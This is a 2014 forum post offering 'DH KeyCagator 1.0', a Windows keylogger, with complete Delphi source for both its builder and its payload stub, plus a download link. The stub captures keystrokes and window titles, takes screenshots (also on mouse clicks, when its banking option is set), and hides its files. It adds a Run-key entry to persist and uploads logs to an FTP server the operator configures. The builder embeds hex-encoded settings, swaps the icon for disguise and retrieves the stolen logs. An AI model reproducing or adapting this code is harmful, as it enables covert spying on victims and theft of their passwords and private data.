Author Topic: [Delphi] DH KeyCagator 1.0  (Read 2157 times)

0 Members and 1 Guest are viewing this topic.

Offline Doddy

  • Serf
  • *
  • Posts: 30
  • Cookies: 20
    • View Profile
[Delphi] DH KeyCagator 1.0
« on: June 05, 2014, 06:33:01 pm »
New version of this keylogger , this keylogger has the following functions:

  • Capture the keys as uppercase lowercase as well as numbers and other key
  • Capture the name of the current window
  • Screen Capture
  • Logs sorted in an HTML file
  • You can choose the directory in which the logs are stored
  • Logs are sent by FTP
  • Traces are hidden
  • Is loaded every time you start Windows
  • You can use Shift + F9 to load the logs on the infected machine
  • I also made a generator keylogger that also allows you to view logs that are in the FTP server used for keylogger


A picture  :



A video :

- DH KeyCagator 1.0 - Example of use -

Sources :

Generator :

Code: (delphi) [Select]
// DH KeyCagator 1.0
// (C) Doddy Hackman 2014
// Keylogger Generator
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to Chokstyle

unit dhkey;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.Imaging.jpeg,
  Vcl.ExtCtrls, Vcl.StdCtrls, Vcl.Imaging.pngimage, IdBaseComponent,
  IdComponent, IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase,
  IdFTP, ShellApi, MadRes;

type
  TForm1 = class(TForm)
    Image1: TImage;
    StatusBar1: TStatusBar;
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    GroupBox1: TGroupBox;
    GroupBox2: TGroupBox;
    RadioButton1: TRadioButton;
    RadioButton2: TRadioButton;
    ComboBox1: TComboBox;
    Edit2: TEdit;
    GroupBox3: TGroupBox;
    TabSheet2: TTabSheet;
    Edit1: TEdit;
    GroupBox4: TGroupBox;
    CheckBox1: TCheckBox;
    Edit3: TEdit;
    Label1: TLabel;
    TabSheet3: TTabSheet;
    GroupBox5: TGroupBox;
    GroupBox6: TGroupBox;
    CheckBox2: TCheckBox;
    Edit4: TEdit;
    Label2: TLabel;
    GroupBox7: TGroupBox;
    Label3: TLabel;
    Edit5: TEdit;
    Label4: TLabel;
    Edit7: TEdit;
    Label5: TLabel;
    Edit8: TEdit;
    Label6: TLabel;
    Edit6: TEdit;
    TabSheet4: TTabSheet;
    GroupBox8: TGroupBox;
    GroupBox9: TGroupBox;
    Label7: TLabel;
    Edit9: TEdit;
    Label8: TLabel;
    Edit11: TEdit;
    Label9: TLabel;
    Edit12: TEdit;
    Label10: TLabel;
    Edit10: TEdit;
    GroupBox10: TGroupBox;
    Button1: TButton;
    GroupBox12: TGroupBox;
    Button2: TButton;
    CheckBox3: TCheckBox;
    IdFTP1: TIdFTP;
    TabSheet6: TTabSheet;
    GroupBox11: TGroupBox;
    Image2: TImage;
    Memo1: TMemo;
    OpenDialog1: TOpenDialog;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Button2Click(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
// Functions

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

//

procedure TForm1.Button1Click(Sender: TObject);
var
  i: integer;
  dir: string;
  busqueda: TSearchRec;

begin

  IdFTP1.Host := Edit9.Text;
  IdFTP1.Username := Edit11.Text;
  IdFTP1.Password := Edit12.Text;

  dir := ExtractFilePath(ParamStr(0)) + 'read_ftp\';

  try
    begin
      FindFirst(dir + '\*.*', faAnyFile + faReadOnly, busqueda);
      DeleteFile(dir + '\' + busqueda.Name);
      while FindNext(busqueda) = 0 do
      begin
        DeleteFile(dir + '\' + busqueda.Name);
      end;
      FindClose(busqueda);

      rmdir(dir);
    end;
  except
    //
  end;

  if not(DirectoryExists(dir)) then
  begin
    CreateDir(dir);
  end;

  ChDir(dir);

  try
    begin
      IdFTP1.Connect;
      IdFTP1.ChangeDir(Edit10.Text);

      IdFTP1.List('*.*', True);

      for i := 0 to IdFTP1.DirectoryListing.Count - 1 do
      begin
        IdFTP1.Get(IdFTP1.DirectoryListing.Items[i].FileName,
          IdFTP1.DirectoryListing.Items[i].FileName, False, False);
      end;

      ShellExecute(0, nil, PChar(dir + 'logs.html'), nil, nil, SW_SHOWNORMAL);

      IdFTP1.Disconnect;
      IdFTP1.Free;
    end;
  except
    //
  end;

end;

procedure TForm1.Button2Click(Sender: TObject);
var
  lineafinal: string;

  savein_especial: string;
  savein: string;
  foldername: string;
  bankop: string;

  capture_op: string;
  capture_seconds: integer;

  ftp_op: string;
  ftp_seconds: integer;
  ftp_host_txt: string;
  ftp_user_txt: string;
  ftp_pass_txt: string;
  ftp_path_txt: string;

  aca: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;

  stubgenerado: string;
  op: string;
  change: DWORD;
  valor: string;

begin

  if (RadioButton1.Checked = True) then

  begin

    savein_especial := '0';

    if (ComboBox1.Items[ComboBox1.ItemIndex] = '') then
    begin
      savein := 'USERPROFILE';
    end
    else
    begin
      savein := ComboBox1.Items[ComboBox1.ItemIndex];
    end;

  end;

  if (RadioButton2.Checked = True) then
  begin
    savein_especial := '1';
    savein := Edit2.Text;
  end;

  foldername := Edit1.Text;

  if (CheckBox1.Checked = True) then
  begin
    capture_op := '1';
  end
  else
  begin
    capture_op := '0';
  end;

  capture_seconds := StrToInt(Edit3.Text) * 1000;

  if (CheckBox2.Checked = True) then
  begin
    ftp_op := '1';
  end
  else
  begin
    ftp_op := '0';
  end;

  if (CheckBox3.Checked = True) then
  begin
    bankop := '1';
  end
  else
  begin
    bankop := '0';
  end;

  ftp_seconds := StrToInt(Edit4.Text) * 1000;

  ftp_host_txt := Edit5.Text;
  ftp_user_txt := Edit7.Text;
  ftp_pass_txt := Edit8.Text;
  ftp_path_txt := Edit6.Text;

  lineafinal := '[63686175]' + dhencode('[opsave]' + savein_especial +
    '[opsave]' + '[save]' + savein + '[save]' + '[folder]' + foldername +
    '[folder]' + '[capture_op]' + capture_op + '[capture_op]' +
    '[capture_seconds]' + IntToStr(capture_seconds) + '[capture_seconds]' +
    '[bank]' + bankop + '[bank]' + '[ftp_op]' + ftp_op + '[ftp_op]' +
    '[ftp_seconds]' + IntToStr(ftp_seconds) + '[ftp_seconds]' + '[ftp_host]' +
    ftp_host_txt + '[ftp_host]' + '[ftp_user]' + ftp_user_txt + '[ftp_user]' +
    '[ftp_pass]' + ftp_pass_txt + '[ftp_pass]' + '[ftp_path]' + ftp_path_txt +
    '[ftp_path]', 'encode') + '[63686175]';

  aca := INVALID_HANDLE_VALUE;
  nose := 0;

  stubgenerado := 'keycagator_ready.exe';

  DeleteFile(stubgenerado);
  CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
    'Data/keycagator.exe'), PChar(ExtractFilePath(Application.ExeName) + '/' +
    stubgenerado), True);

  StrCopy(code, PChar(lineafinal));
  aca := CreateFile(PChar('keycagator_ready.exe'), GENERIC_WRITE,
    FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
  if (aca <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(aca, 0, nil, FILE_END);
    WriteFile(aca, code, 9999, nose, nil);
    CloseHandle(aca);
  end;

  op := InputBox('Icon Changer', 'Change Icon ?', 'Yes');

  if (op = 'Yes') then
  begin
    OpenDialog1.InitialDir := GetCurrentDir;
    if OpenDialog1.Execute then
    begin

      try
        begin

          valor := IntToStr(128);

          change := BeginUpdateResourceW
            (PWideChar(wideString(ExtractFilePath(Application.ExeName) + '/' +
            stubgenerado)), False);
          LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
            PWideChar(wideString(OpenDialog1.FileName)));
          EndUpdateResourceW(change, False);
          StatusBar1.Panels[0].Text := '[+] Done ';
          StatusBar1.Update;
        end;
      except
        begin
          StatusBar1.Panels[0].Text := '[-] Error';
          StatusBar1.Update;
        end;
      end;
    end
    else
    begin
      StatusBar1.Panels[0].Text := '[+] Done ';
      StatusBar1.Update;
    end;
  end
  else
  begin
    StatusBar1.Panels[0].Text := '[+] Done ';
    StatusBar1.Update;
  end;

end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  OpenDialog1.InitialDir := GetCurrentDir;
  OpenDialog1.Filter := 'ICO|*.ico|';
end;

end.

// The End ?

El stub.

Code: (delphi) [Select]
// DH KeyCagator 1.0
// (C) Doddy Hackman 2014

program keycagator;

// {$APPTYPE CONSOLE}

uses
  SysUtils, Windows, WinInet, ShellApi, Vcl.Graphics, Vcl.Imaging.jpeg;

var
  nombrereal: string;
  rutareal: string;
  yalisto: string;
  registro: HKEY;
  dir: string;
  time: integer;

  dir_hide: string;
  time_screen: integer;
  time_ftp: integer;
  ftp_host: Pchar;
  ftp_user: Pchar;
  ftp_password: Pchar;
  ftp_dir: Pchar;

  carpeta: string;
  directorio: string;
  bankop: string;
  dir_normal: string;
  dir_especial: string;
  ftp_online: string;
  screen_online: string;
  activado: string;

  ob: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  todo: string;

  // Functions

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

procedure savefile(filename, texto: string);
var
  ar: TextFile;

begin

  try

    begin
      AssignFile(ar, filename);
      FileMode := fmOpenWrite;

      if FileExists(filename) then
        Append(ar)
      else
        Rewrite(ar);

      Write(ar, texto);
      CloseFile(ar);
    end;
  except
    //
  end;

end;

procedure upload_ftpfile(host, username, password, filetoupload,
  conestenombre: Pchar);

// Credits :
// Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server
// Thanks to Omair Iqbal

var
  controluno: HINTERNET;
  controldos: HINTERNET;

begin

  try

    begin
      controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
      controldos := InternetConnect(controluno, host, INTERNET_DEFAULT_FTP_PORT,
        username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
      ftpPutFile(controldos, filetoupload, conestenombre,
        FTP_TRANSFER_TYPE_BINARY, 0);
      InternetCloseHandle(controldos);
      InternetCloseHandle(controluno);
    end
  except
    //
  end;

end;

procedure capturar_pantalla(nombre: string);

// Function capturar() based in :
// http://forum.codecall.net/topic/60613-how-to-capture-screen-with-delphi-code/
// http://delphi.about.com/cs/adptips2001/a/bltip0501_4.htm
// http://stackoverflow.com/questions/21971605/show-mouse-cursor-in-screenshot-with-delphi
// Thanks to Zarko Gajic , Luthfi and Ken White

var
  aca: HDC;
  tan: TRect;
  posnow: TPoint;
  imagen1: TBitmap;
  imagen2: TJpegImage;
  curnow: THandle;

begin

  aca := GetWindowDC(GetDesktopWindow);
  imagen1 := TBitmap.Create;

  GetWindowRect(GetDesktopWindow, tan);
  imagen1.Width := tan.Right - tan.Left;
  imagen1.Height := tan.Bottom - tan.Top;
  BitBlt(imagen1.Canvas.Handle, 0, 0, imagen1.Width, imagen1.Height, aca, 0,
    0, SRCCOPY);

  GetCursorPos(posnow);

  curnow := GetCursor;
  DrawIconEx(imagen1.Canvas.Handle, posnow.X, posnow.Y, curnow, 32, 32, 0, 0,
    DI_NORMAL);

  imagen2 := TJpegImage.Create;
  imagen2.Assign(imagen1);
  imagen2.CompressionQuality := 60;
  imagen2.SaveToFile(nombre);

  imagen1.Free;
  imagen2.Free;

end;

//

procedure capturar_teclas;

var
  I: integer;
  Result: Longint;
  mayus: integer;
  shift: integer;
  banknow: string;

const

  n_numeros_izquierda: array [1 .. 10] of string = ('48', '49', '50', '51',
    '52', '53', '54', '55', '56', '57');

const
  t_numeros_izquierda: array [1 .. 10] of string = ('0', '1', '2', '3', '4',
    '5', '6', '7', '8', '9');

const
  n_numeros_derecha: array [1 .. 10] of string = ('96', '97', '98', '99', '100',
    '101', '102', '103', '104', '105');

const
  t_numeros_derecha: array [1 .. 10] of string = ('0', '1', '2', '3', '4', '5',
    '6', '7', '8', '9');

const
  n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
    '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
    '291', '220', '221', '222', '226');

const
  t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', 'ยจ', '&',
    '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^', '|');

const
  n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
    '188', '189', '190', '191', '192', '193', '219', '220', '221',
    '222', '226');

const
  t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
    '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
    ' / ', ' \ \ \ ', ']', '[', '~', '\/');

begin

  while (1 = 1) do
  begin

    Sleep(time); // Time

    try

      begin

        // Others

        for I := Low(n_raros) to High(n_raros) do
        begin
          Result := GetAsyncKeyState(StrToInt(n_raros[I]));
          If Result = -32767 then
          begin
            savefile('logs.html', t_raros[I]);
            if (bankop = '1') then
            begin
              if (t_raros[I] = '[mouse click]') then
              begin
                banknow := IntToStr(Random(10000)) + '.jpg';
                capturar_pantalla(banknow);
                SetFileAttributes(Pchar(dir + '/' + banknow),
                  FILE_ATTRIBUTE_HIDDEN);

                savefile('logs.html', '<br><br><center><img src=' + banknow +
                  '></center><br><br>');

              end;
            end;
          end;
        end;

        // SHIFT

        if (GetAsyncKeyState(VK_SHIFT) <> 0) then
        begin

          for I := Low(n_shift) to High(n_shift) do
          begin
            Result := GetAsyncKeyState(StrToInt(n_shift[I]));
            If Result = -32767 then
            begin
              savefile('logs.html', t_shift[I]);
            end;
          end;

          for I := 65 to 90 do
          begin
            Result := GetAsyncKeyState(I);
            If Result = -32767 then
            Begin
              savefile('logs.html', Chr(I + 0));
            End;
          end;

        end;

        // Numbers

        for I := Low(n_numeros_derecha) to High(n_numeros_derecha) do
        begin
          Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[I]));
          If Result = -32767 then
          begin
            savefile('logs.html', t_numeros_derecha[I]);
          end;
        end;

        for I := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
        begin
          Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[I]));
          If Result = -32767 then
          begin
            savefile('logs.html', t_numeros_izquierda[I]);
          end;
        end;

        // MAYUS

        if (GetKeyState(20) = 0) then
        begin
          mayus := 32;
        end
        else
        begin
          mayus := 0;
        end;

        for I := 65 to 90 do
        begin
          Result := GetAsyncKeyState(I);
          If Result = -32767 then
          Begin
            savefile('logs.html', Chr(I + mayus));
          End;
        end;
      end;
    except
      //
    end;

  end;
end;

procedure capturar_ventanas;
var
  ventana1: array [0 .. 255] of Char;
  nombre1: string;
  Nombre2: string; //
begin
  while (1 = 1) do
  begin

    try

      begin
        Sleep(time); // Time

        GetWindowText(GetForegroundWindow, ventana1, sizeOf(ventana1));

        nombre1 := ventana1;

        if not(nombre1 = Nombre2) then
        begin
          Nombre2 := nombre1;
          savefile('logs.html', '<hr style=color:#00FF00><h2><center>' + Nombre2
            + '</h2></center><br>');
        end;

      end;
    except
      //
    end;
  end;

end;

procedure capturar_pantallas;
var
  generado: string;
begin
  while (1 = 1) do
  begin

    Sleep(time_screen);

    generado := IntToStr(Random(10000)) + '.jpg';

    try

      begin
        capturar_pantalla(generado);
      end;
    except
      //
    end;

    SetFileAttributes(Pchar(dir + '/' + generado), FILE_ATTRIBUTE_HIDDEN);

    savefile('logs.html', '<br><br><center><img src=' + generado +
      '></center><br><br>');

  end;
end;

procedure subirftp;
var
  busqueda: TSearchRec;
begin
  while (1 = 1) do
  begin

    try

      begin
        Sleep(time_ftp);

        upload_ftpfile(ftp_host, ftp_user, ftp_password,
          Pchar(dir + 'logs.html'), Pchar(ftp_dir + 'logs.html'));

        FindFirst(dir + '*.jpg', faAnyFile, busqueda);

        upload_ftpfile(ftp_host, ftp_user, ftp_password,
          Pchar(dir + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
        while FindNext(busqueda) = 0 do
        begin
          upload_ftpfile(ftp_host, ftp_user, ftp_password,
            Pchar(dir + '/' + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
        end;
      end;
    except
      //
    end;
  end;
end;

procedure control;
var
  I: integer;
  re: Longint;
begin

  while (1 = 1) do
  begin

    try

      begin

        Sleep(time);

        if (GetAsyncKeyState(VK_SHIFT) <> 0) then
        begin

          re := GetAsyncKeyState(120);
          If re = -32767 then
          Begin

            ShellExecute(0, nil, Pchar(dir + 'logs.html'), nil, nil,
              SW_SHOWNORMAL);

          End;
        end;
      end;
    except
      //
    end;
  End;
end;

//

begin

  try

    // Config

    try

      begin

        // Edit

        ob := INVALID_HANDLE_VALUE;
        code := '';

        ob := CreateFile(Pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
          OPEN_EXISTING, 0, 0);
        if (ob <> INVALID_HANDLE_VALUE) then
        begin
          SetFilePointer(ob, -9999, nil, FILE_END);
          ReadFile(ob, code, 9999, nose, nil);
          CloseHandle(ob);
        end;

        todo := regex(code, '[63686175]', '[63686175]');
        todo := dhencode(todo, 'decode');

        dir_especial := Pchar(regex(todo, '[opsave]', '[opsave]'));
        directorio := regex(todo, '[save]', '[save]');
        carpeta := regex(todo, '[folder]', '[folder]');
        bankop := regex(todo, '[bank]', '[bank]');
        screen_online := regex(todo, '[capture_op]', '[capture_op]');
        time_screen := StrToInt(regex(todo, '[capture_seconds]',
          '[capture_seconds]'));
        ftp_online := Pchar(regex(todo, '[ftp_op]', '[ftp_op]'));
        time_ftp := StrToInt(regex(todo, '[ftp_seconds]', '[ftp_seconds]'));
        ftp_host := Pchar(regex(todo, '[ftp_host]', '[ftp_host]'));
        ftp_user := Pchar(regex(todo, '[ftp_user]', '[ftp_user]'));
        ftp_password := Pchar(regex(todo, '[ftp_pass]', '[ftp_pass]'));
        ftp_dir := Pchar(regex(todo, '[ftp_path]', '[ftp_path]'));

        dir_normal := dir_especial;

        time := 100; // Not Edit

        if (dir_normal = '1') then
        begin
          dir_hide := directorio;
        end
        else
        begin
          dir_hide := GetEnvironmentVariable(directorio) + '/';
        end;

        dir := dir_hide + carpeta + '/';

        if not(DirectoryExists(dir)) then
        begin
          CreateDir(dir);
        end;

        ChDir(dir);

        nombrereal := ExtractFileName(paramstr(0));
        rutareal := dir;
        yalisto := dir + nombrereal;

        MoveFile(Pchar(paramstr(0)), Pchar(yalisto));

        SetFileAttributes(Pchar(dir), FILE_ATTRIBUTE_HIDDEN);

        SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);

        savefile(dir + '/logs.html', '');

        SetFileAttributes(Pchar(dir + '/logs.html'), FILE_ATTRIBUTE_HIDDEN);

        savefile('logs.html',
          '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');

        RegCreateKeyEx(HKEY_LOCAL_MACHINE,
          'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
          REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
        RegSetValueEx(registro, 'uberk', 0, REG_SZ, Pchar(yalisto), 666);
        RegCloseKey(registro);
      end;
    except
      //
    end;

    // End

    // Start the party

    BeginThread(nil, 0, @capturar_teclas, nil, 0, PDWORD(0)^);
    BeginThread(nil, 0, @capturar_ventanas, nil, 0, PDWORD(0)^);

    if (screen_online = '1') then
    begin
      BeginThread(nil, 0, @capturar_pantallas, nil, 0, PDWORD(0)^);
    end;
    if (ftp_online = '1') then
    begin
      BeginThread(nil, 0, @subirftp, nil, 0, PDWORD(0)^);
    end;

    BeginThread(nil, 0, @control, nil, 0, PDWORD(0)^);

    // Readln;

    while (1 = 1) do
      Sleep(time);

  except
    //
  end;

end.

// The End ?

Available for download here